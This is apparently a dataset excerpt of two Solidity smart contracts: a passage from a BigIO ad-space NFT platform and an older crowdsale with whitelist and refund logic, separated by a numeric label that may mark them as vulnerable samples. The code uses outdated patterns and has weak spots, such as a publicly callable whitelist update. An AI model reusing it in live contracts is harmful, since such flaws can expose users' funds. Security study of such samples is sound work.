function calculateMinPriceForNextRound(uint256 _tokenPrice, uint256 _minResalePercentage) public pure returns (uint256) {
return _tokenPrice.add(_tokenPrice.div(100).mul(_minResalePercentage));
}
function calculateSharesInTheRevenue(uint256 _prevTokenPrice, uint256 _newTokenPrice) public pure returns (uint256, uint256) {
uint256 revenue = _newTokenPrice.sub(_prevTokenPrice);
uint256 platformShare = revenue.mul(40).div(100);
uint256 forPrevOwner = revenue.sub(platformShare);
return (platformShare, forPrevOwner);
}
}
contract Platform is Admin {
using SafeMath for uint256;
struct Offer {
uint256 tokenId;
uint256 offerId;
address from;
uint256 offeredPrice;
uint256 tokenPrice;
bool accepted;
uint256 timestamp;
}
struct ArtWorkChangeRequest {
address fromUser;
uint256 tokenId;
uint256 changeId;
string meta;
uint256 timestamp;
bool isReviewed;
}
BigIoAdSpace public token;
BigIOERC20token public erc20token;
PricingStrategy public pricingStrategy;
ArtWorkChangeRequest[] public artWorkChangeRequests;
bool public isLogoInitied;
uint256 public logoX = 35;
uint256 public logoY = 18;
Offer[] public offers;
mapping(address => uint256) public pendingReturns;
event Minted(address indexed _owner, uint256 _tokenId, uint256 _x, uint256 _y, uint256 _sizeA, uint256 _sizeB, uint256 _price, uint256 _platformTransfer, uint256 _timestamp);
event Purchased(address indexed _from, address indexed _to, uint256 _tokenId, uint256 _price, uint256 _prevPrice, uint256 _prevOwnerTransfer, uint256 _platformTransfer, uint256 _timestamp);
event OfferMade(address indexed _fromUser, uint256 _tokenId, uint256 _offerId, uint256 _offeredPrice, uint256 _timestamp);
event OfferApproved(address indexed _owner, uint256 _tokenId, uint256 _offerId, uint256 _offeredPrice, uint256 _timestamp);
event OfferDeclined(address indexed _fromUser, uint256 _tokenId, uint256 _offerId, uint256 _offeredPrice, uint256 _timestamp);
event ArtWorkChangeRequestMade(
address indexed _fromUser,
uint256 _tokenId,
uint256 _changeId,
string _meta,
uint256 _platformTransfer,
uint256 _timestamp);
event ArtWorkChangeRequestApproved(
address indexed _fromUser,
uint256 _tokenId,
uint256 _changeId,
string _meta,
uint256 _timestamp);
event ArtWorkChangeRequestDeclined(
address indexed _fromUser,
uint256 _tokenId,
uint256 _changeId,
string _meta,
uint256 _timestamp);
event RemovedMetaData(uint256 _tokenId, address _admin, string _meta, uint256 _timestamp);
event ChangedOwnership(uint256 _tokenId, address _prevOwner, address _newOwner, uint256 _timestamp);
constructor(
address _platformWallet,
address _token,
address _erc20token,
address _pricingStrategy,
address _signer
) public {
token = BigIoAdSpace(_token);
erc20token = BigIOERC20token(_erc20token);
platformWallet = _platformWallet;
pricingStrategy = PricingStrategy(_pricingStrategy);
signers[_signer] = true;
tiers.push(
Tier(
400,
600,
1 ether,
0.4 ether,
0,
0,
false,
false
)
);
tiers.push(
Tier(
400, 600, 1.2 ether, 0.6 ether, 0, 0, false, false
)
);
tiers.push(
Tier(
400, 600, 1.4 ether, 0.8 ether, 0, 0, false, false
)
);
tiers.push(
Tier(
144, 288, 1.6 ether, 1.0 ether, 0, 0, false, false
)
);
}
function initLogo() public onlyOwner {
require(isLogoInitied == false);
isLogoInitied = true;
logoId = token.mint(platformWallet, logoX, logoY, 10, 10, 0 ether, 0 ether);
token.setTokenMetadata(logoId, "");
updateTierStatus(100, 0);
emit Minted(msg.sender, logoId, logoX, logoY, 10, 10, 0 ether, 0 ether, now);
}
function getPriceFor(uint256 x, uint256 y, uint256 sizeA, uint256 sizeB) public view returns(uint256 totalPrice, uint256 inner, uint256 outer) {
(inner, outer) = preMinting(x, y, sizeA, sizeB);
totalPrice = calculateTokenPrice(inner, outer);
return (totalPrice, inner, outer);
}
function buy(
uint256 x,
uint256 y,
uint256 sizeA,
uint256 sizeB,
uint8 _v,
bytes32 _r,
bytes32 _s
) public notHalted() payable {
address recoveredSigner = verify(keccak256(msg.sender), _v, _r, _s);
require(signers[recoveredSigner] == true);
require(msg.value > 0);
internalBuy(x, y, sizeA, sizeB);
}
function internalBuy(
uint256 x,
uint256 y,
uint256 sizeA,
uint256 sizeB
) internal {
uint256 inner = 0;
uint256 outer = 0;
uint256 totalPrice = 0;
(inner, outer) = preMinting(x, y, sizeA, sizeB);
totalPrice = calculateTokenPrice(inner, outer);
require(totalPrice <= msg.value);
updateTierStatus(inner, outer);
uint256 actualPrice = inner.mul(tiers[3].priceInCenter).add(outer.mul(tiers[3].priceInOuter));
if (msg.value > actualPrice) {
actualPrice = msg.value;
}
uint256 tokenId = token.mint(msg.sender, x, y, sizeA, sizeB, msg.value, actualPrice);
erc20token.mint(msg.sender, inner.add(outer));
transferEthers(platformWallet, msg.value);
emit Minted(msg.sender, tokenId, x, y, sizeA, sizeB, msg.value, msg.value, now);
}
function makeOffer(
uint256 _tokenId,
uint8 _v,
bytes32 _r,
bytes32 _s
) public notHalted() payable {
address recoveredSigner = verify(keccak256(msg.sender), _v, _r, _s);
require(signers[recoveredSigner] == true);
require(msg.sender != address(0));
require(msg.value > 0);
uint256 currentPrice = getTokenPrice(_tokenId);
require(currentPrice > 0);
if (_tokenId == logoId && token.getCurrentPriceForToken(_tokenId) == 0) {
require(msg.value >= logoPrice);
token.updateTokensState(logoId, msg.value);
erc20token.mint(msg.sender, 100);
transferEthers(platformWallet, msg.value);
emit Purchased(0, msg.sender, _tokenId, msg.value, 0, 0, msg.value, now);
return;
}
uint256 minPrice = pricingStrategy.calculateMinPriceForNextRound(currentPrice, minResalePercentage);
require(msg.value >= minPrice);
uint256 offerCounter = offers.length;
offers.push(Offer(_tokenId, offerCounter, msg.sender, msg.value, currentPrice, false, now));
emit OfferMade(msg.sender, _tokenId, offerCounter, msg.value, now);
approve(offerCounter, _tokenId);
}
function getTokenPrice(uint256 _tokenId) public view returns (uint256 price) {
uint256 actualPrice = token.getCurrentPriceForToken(_tokenId);
if (_tokenId == logoId && actualPrice == 0) {
require(logoPrice > 0);
return logoPrice;
} else {
uint256 indexInner = 0;
uint256 indexOuter = 0;
bool hasInner;
bool hasOuter;
(hasInner, hasOuter) = token.getTokenScope(_tokenId);
(indexInner, indexOuter) = getCurrentTierIndex();
if (_tokenId != logoId && hasInner) {
require(indexInner == 100000);
}
if (hasOuter) {
require(indexOuter == 100000);
}
return actualPrice;
}
}
function getArtWorkChangeFee(uint256 _tokenId) public view returns (uint256 fee) {
uint256 counter = token.getTokenUpdatedCounter(_tokenId);
if (counter > 0) {
return feeForArtWorkChangeRequest;
}
return feeForFirstArtWorkChangeRequest;
}
function artWorkChangeRequest(uint256 _tokenId, string _meta, uint8 _v, bytes32 _r, bytes32 _s)
public payable returns (uint256)
{
address recoveredSigner = verify(keccak256(_meta), _v, _r, _s);
require(signers[recoveredSigner] == true);
require(msg.sender == token.getOwner(_tokenId));
uint256 fee = getArtWorkChangeFee(_tokenId);
require(msg.value >= fee);
uint256 changeRequestCounter = artWorkChangeRequests.length;
artWorkChangeRequests.push(
ArtWorkChangeRequest(msg.sender, _tokenId, changeRequestCounter, _meta, now, false)
);
token.increaseUpdateMetadataCounter(_tokenId);
transferEthers(platformWallet, msg.value);
emit ArtWorkChangeRequestMade(msg.sender, _tokenId, changeRequestCounter, _meta, msg.value, now);
return changeRequestCounter;
}
function artWorkChangeApprove(uint256 _index, uint256 _tokenId, bool approve) public onlyAdmin {
ArtWorkChangeRequest storage request = artWorkChangeRequests[_index];
require(false == request.isReviewed);
require(_tokenId == request.tokenId);
request.isReviewed = true;
if (approve) {
token.setTokenMetadata(_tokenId, request.meta);
emit ArtWorkChangeRequestApproved(
request.fromUser,
request.tokenId,
request.changeId,
request.meta,
now
);
} else {
emit ArtWorkChangeRequestDeclined(
request.fromUser,
request.tokenId,
request.changeId,
request.meta,
now
);
}
}
function artWorkChangeByAdmin(uint256 _tokenId, string _meta, uint256 _changeId) public onlyAdmin {
token.setTokenMetadata(_tokenId, _meta);
emit ArtWorkChangeRequestApproved(
msg.sender,
_tokenId,
_changeId,
_meta,
now
);
}
function changeTokenOwnerByAdmin(uint256 _tokenId, address _newOwner) public onlyAdmin {
address prevOwner = token.getOwner(_tokenId);
token.updateOwner(_tokenId, _newOwner, prevOwner);
emit ChangedOwnership(_tokenId, prevOwner, _newOwner, now);
string memory meta = token.getMetadata(_tokenId);
token.removeTokenMetadata(_tokenId);
emit RemovedMetaData(_tokenId, msg.sender, meta, now);
}
function getTokenData(uint256 _tokenId) public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
return token.getTokenData(_tokenId);
}
function getMetaData(uint256 _tokenId) public view returns(string) {
return token.getMetadata(_tokenId);
}
function claim() public returns (bool) {
return claimInternal(msg.sender);
}
function claimByAddress(address _address) public returns (bool) {
return claimInternal(_address);
}
function claimInternal(address _address) internal returns (bool) {
require(_address != address(0));
uint256 amount = pendingReturns[_address];
if (amount == 0) {
return;
}
pendingReturns[_address] = 0;
_address.transfer(amount);
return true;
}
function getCurrentTierIndex() public view returns (uint256, uint256) {
uint256 indexInner = 100000;
uint256 indexOuter = 100000;
for (uint256 i = 0; i < tiers.length; i++) {
if (!tiers[i].filledInCenter) {
indexInner = i;
break;
}
}
for (uint256 k = 0; k < tiers.length; k++) {
if (!tiers[k].filledInOuter) {
indexOuter = k;
break;
}
}
return (indexInner, indexOuter);
}
function getCurrentTierStats() public view returns (uint256 indexInner, uint256 indexOuter, uint256 availableInner, uint256 availableInOuter, uint256 priceInCenter, uint256 priceInOuter, uint256 nextPriceInCenter, uint256 nextPriceInOuter) {
indexInner = 100000;
indexOuter = 100000;
for (uint256 i = 0; i < tiers.length; i++) {
if (!tiers[i].filledInCenter) {
indexInner = i;
break;
}
}
for (uint256 k = 0; k < tiers.length; k++) {
if (!tiers[k].filledInOuter) {
indexOuter = k;
break;
}
}
Tier storage tier;
if (indexInner != 100000) {
tier = tiers[indexInner];
availableInner = tier.amountInCenter.sub(tier.soldInCenter);
priceInCenter = tier.priceInCenter;
if (indexInner < 3) {
nextPriceInCenter = tiers[indexInner + 1].priceInCenter;
}
}
if (indexOuter != 100000) {
tier = tiers[indexOuter];
availableInOuter = tier.amountInOuter.sub(tier.soldInOuter);
priceInOuter = tier.priceInOuter;
if (indexOuter < 3) {
nextPriceInOuter = tiers[indexOuter + 1].priceInOuter;
}
}
}
function calculateAmountOfUnits(uint256 sizeA, uint256 sizeB) public pure returns (uint256) {
return sizeA.mul(sizeB);
}
function approve(uint256 _index, uint256 _tokenId) internal {
Offer memory localOffer = offers[_index];
address newOwner = localOffer.from;
address prevOwner = token.getOwner(_tokenId);
uint256 platformShare;
uint256 forPrevOwner;
uint256 soldPrice = token.getTokenSoldPrice(_tokenId);
(platformShare, forPrevOwner) = pricingStrategy.calculateSharesInTheRevenue(
soldPrice, localOffer.offeredPrice);
token.updateTokensState(_tokenId, localOffer.offeredPrice);
token.updateOwner(_tokenId, newOwner, prevOwner);
localOffer.accepted = true;
transferEthers(platformWallet, platformShare);
transferEthers(prevOwner, forPrevOwner.add(soldPrice));
emit OfferApproved(newOwner, _tokenId, localOffer.offerId, localOffer.offeredPrice, now);
emit Purchased(prevOwner, newOwner, _tokenId, localOffer.offeredPrice, soldPrice, forPrevOwner.add(soldPrice), platformShare, now);
afterApproveAction(_tokenId);
}
function transferEthers(address _address, uint256 _wei) internal {
if (isContract(_address)) {
pendingReturns[_address] = pendingReturns[_address].add(_wei);
}
else {
_address.transfer(_wei);
}
}
function preMinting(uint256 x, uint256 y, uint256 sizeA, uint256 sizeB) internal view returns (uint256, uint256) {
uint256 total = 0;
uint256 inner = 0;
uint256 outer = 0;
(total, inner) = token.calculateCounters(x, y, sizeA, sizeB);
outer = total.sub(inner);
require(total <= 100);
return (inner, outer);
}
function updateTierStatus(uint256 inner, uint256 outer) internal {
uint256 leftInner = inner;
uint256 leftOuter = outer;
for (uint256 i = 0; i < 4; i++) {
Tier storage tier = tiers[i];
if (leftInner > 0 && tier.filledInCenter == false) {
uint256 availableInner = tier.amountInCenter.sub(tier.soldInCenter);
if (availableInner > leftInner) {
tier.soldInCenter = tier.soldInCenter.add(leftInner);
leftInner = 0;
} else {
tier.filledInCenter = true;
tier.soldInCenter = tier.amountInCenter;
leftInner = leftInner.sub(availableInner);
}
}
if (leftOuter > 0 && tier.filledInOuter == false) {
uint256 availableOuter = tier.amountInOuter.sub(tier.soldInOuter);
if (availableOuter > leftOuter) {
tier.soldInOuter = tier.soldInOuter.add(leftOuter);
leftOuter = 0;
} else {
tier.filledInOuter = true;
tier.soldInOuter = tier.amountInOuter;
leftOuter = leftOuter.sub(availableOuter);
}
}
}
require(leftInner == 0 && leftOuter == 0);
}
function calculateTokenPrice(uint256 inner, uint256 outer) public view returns (uint256 price) {
uint256 leftInner = inner;
uint256 leftOuter = outer;
for (uint256 i = 0; i < 4; i++) {
Tier storage tier = tiers[i];
if (leftInner > 0 && tier.filledInCenter == false) {
uint256 availableInner = tier.amountInCenter.sub(tier.soldInCenter);
if (availableInner > leftInner) {
price = price.add(leftInner.mul(tier.priceInCenter));
leftInner = 0;
} else {
price = price.add(availableInner.mul(tier.priceInCenter));
leftInner = leftInner.sub(availableInner);
}
}
if (leftOuter > 0 && tier.filledInOuter == false) {
uint256 availableOuter = tier.amountInOuter.sub(tier.soldInOuter);
if (availableOuter > leftOuter) {
price = price.add(leftOuter.mul(tier.priceInOuter));
leftOuter = 0;
} else {
price = price.add(availableOuter.mul(tier.priceInOuter));
leftOuter = leftOuter.sub(availableOuter);
}
}
}
require(leftInner == 0 && leftOuter == 0);
}
function minPriceForNextRound(uint256 _tokenId) public view returns (uint256) {
if (_tokenId == logoId && token.getCurrentPriceForToken(_tokenId) == 0) {
return logoPrice;
} else {
uint256 currentPrice = getTokenPrice(_tokenId);
uint256 minPrice = pricingStrategy.calculateMinPriceForNextRound(currentPrice, minResalePercentage);
return minPrice;
}
}
function afterApproveAction(uint256 _tokenId) internal {
uint256 indexInner = 100000;
uint256 indexOuter = 100000;
bool hasInner;
bool hasOuter;
(hasInner, hasOuter) = token.getTokenScope(_tokenId);
(indexInner, indexOuter) = getCurrentTierIndex();
if (hasInner && hasOuter && indexInner == 100000 && indexOuter == 100000) {
token.increasePriceForNeighbours(_tokenId);
} else if (!hasInner && hasOuter && indexOuter == 100000) {
token.increasePriceForNeighbours(_tokenId);
} else if (!hasOuter && hasInner && indexInner == 100000) {
token.increasePriceForNeighbours(_tokenId);
}
}
function canBuyExistentToken(uint256 _tokenId) public view returns (uint256 _allowed) {
uint256 indexInner = 0;
uint256 indexOuter = 0;
bool hasInner;
bool hasOuter;
(hasInner, hasOuter) = token.getTokenScope(_tokenId);
(indexInner, indexOuter) = getCurrentTierIndex();
if (token.getCurrentPriceForToken(_tokenId) == 0 && logoPrice == 0) {
return 4;
}
if (_tokenId != logoId && hasInner && indexInner != 100000) {
return 2;
}
if (hasOuter && indexOuter != 100000) {
return 3;
}
return 1;
}
} | 1 | 2,467 |
pragma solidity ^0.4.8;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMathLibExt {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function divides(uint a, uint b) returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier stopNonOwnersInEmergency {
if (halted && msg.sender != owner) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FractionalERC20Ext is ERC20 {
uint public decimals;
uint public minCap;
}
contract CrowdsaleExt is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLibExt for uint;
FractionalERC20Ext public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public presaleWeiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public isWhiteListed;
address[] public joinedCrowdsales;
uint public joinedCrowdsalesLen = 0;
address public lastCrowdsale;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
struct WhiteListData {
bool status;
uint minCap;
uint maxCap;
}
bool public isUpdatable;
mapping (address => WhiteListData) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool newRequireCustomerId, bool newRequiredSignedAddress, address newSignerAddress);
event Whitelisted(address addr, bool status);
event StartsAtChanged(uint newStartsAt);
event EndsAtChanged(uint newEndsAt);
function CrowdsaleExt(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) {
owner = msg.sender;
token = FractionalERC20Ext(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
isUpdatable = _isUpdatable;
isWhiteListed = _isWhiteListed;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
throw;
} else if(getState() == State.Funding) {
if(isWhiteListed) {
if(!earlyParticipantWhitelist[receiver].status) {
throw;
}
}
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised - presaleWeiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(isWhiteListed) {
if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) {
throw;
}
if(tokenAmount > earlyParticipantWhitelist[receiver].maxCap) {
throw;
}
if (isBreakingInvestorCap(receiver, tokenAmount)) {
throw;
}
} else {
if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) {
throw;
}
}
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(pricingStrategy.isPresalePurchase(receiver)) {
presaleWeiRaised = presaleWeiRaised.plus(weiAmount);
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
if (isWhiteListed) {
uint num = 0;
for (var i = 0; i < joinedCrowdsalesLen; i++) {
if (this == joinedCrowdsales[i])
num = i;
}
if (num + 1 < joinedCrowdsalesLen) {
for (var j = num + 1; j < joinedCrowdsalesLen; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
crowdsale.updateEarlyParicipantWhitelist(msg.sender, this, tokenAmount);
}
}
}
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status, uint minCap, uint maxCap) onlyOwner {
if (!isWhiteListed) throw;
earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap});
Whitelisted(addr, status);
}
function setEarlyParicipantsWhitelist(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) onlyOwner {
if (!isWhiteListed) throw;
for (uint iterator = 0; iterator < addrs.length; iterator++) {
setEarlyParicipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]);
}
}
function updateEarlyParicipantWhitelist(address addr, address contractAddr, uint tokensBought) {
if (tokensBought < earlyParticipantWhitelist[addr].minCap) throw;
if (!isWhiteListed) throw;
if (addr != msg.sender && contractAddr != msg.sender) throw;
uint newMaxCap = earlyParticipantWhitelist[addr].maxCap;
newMaxCap = newMaxCap.minus(tokensBought);
earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap});
}
function updateJoinedCrowdsales(address addr) onlyOwner {
joinedCrowdsales[joinedCrowdsalesLen++] = addr;
}
function setLastCrowdsale(address addr) onlyOwner {
lastCrowdsale = addr;
}
function clearJoinedCrowdsales() onlyOwner {
joinedCrowdsalesLen = 0;
}
function updateJoinedCrowdsalesMultiple(address[] addrs) onlyOwner {
clearJoinedCrowdsales();
for (uint iter = 0; iter < addrs.length; iter++) {
if(joinedCrowdsalesLen == joinedCrowdsales.length) {
joinedCrowdsales.length += 1;
}
joinedCrowdsales[joinedCrowdsalesLen++] = addrs[iter];
if (iter == addrs.length - 1)
setLastCrowdsale(addrs[iter]);
}
}
function setStartsAt(uint time) onlyOwner {
if (finalized) throw;
if (!isUpdatable) throw;
if(now > time) {
throw;
}
if(time > endsAt) {
throw;
}
CrowdsaleExt lastCrowdsaleCntrct = CrowdsaleExt(lastCrowdsale);
if (lastCrowdsaleCntrct.finalized()) throw;
startsAt = time;
StartsAtChanged(startsAt);
}
function setEndsAt(uint time) onlyOwner {
if (finalized) throw;
if (!isUpdatable) throw;
if(now > time) {
throw;
}
if(startsAt > time) {
throw;
}
CrowdsaleExt lastCrowdsaleCntrct = CrowdsaleExt(lastCrowdsale);
if (lastCrowdsaleCntrct.finalized()) throw;
uint num = 0;
for (var i = 0; i < joinedCrowdsalesLen; i++) {
if (this == joinedCrowdsales[i])
num = i;
}
if (num + 1 < joinedCrowdsalesLen) {
for (var j = num + 1; j < joinedCrowdsalesLen; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
if (time > crowdsale.startsAt()) throw;
}
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isBreakingInvestorCap(address receiver, uint tokenAmount) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract MintableTokenExt is StandardToken, Ownable {
using SafeMathLibExt for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state );
struct ReservedTokensData {
uint inTokens;
uint inPercentage;
}
mapping (address => ReservedTokensData) public reservedTokensList;
address[] public reservedTokensDestinations;
uint public reservedTokensDestinationsLen = 0;
function setReservedTokensList(address addr, uint inTokens, uint inPercentage) onlyOwner {
reservedTokensDestinations.push(addr);
reservedTokensDestinationsLen++;
reservedTokensList[addr] = ReservedTokensData({inTokens:inTokens, inPercentage:inPercentage});
}
function getReservedTokensListValInTokens(address addr) constant returns (uint inTokens) {
return reservedTokensList[addr].inTokens;
}
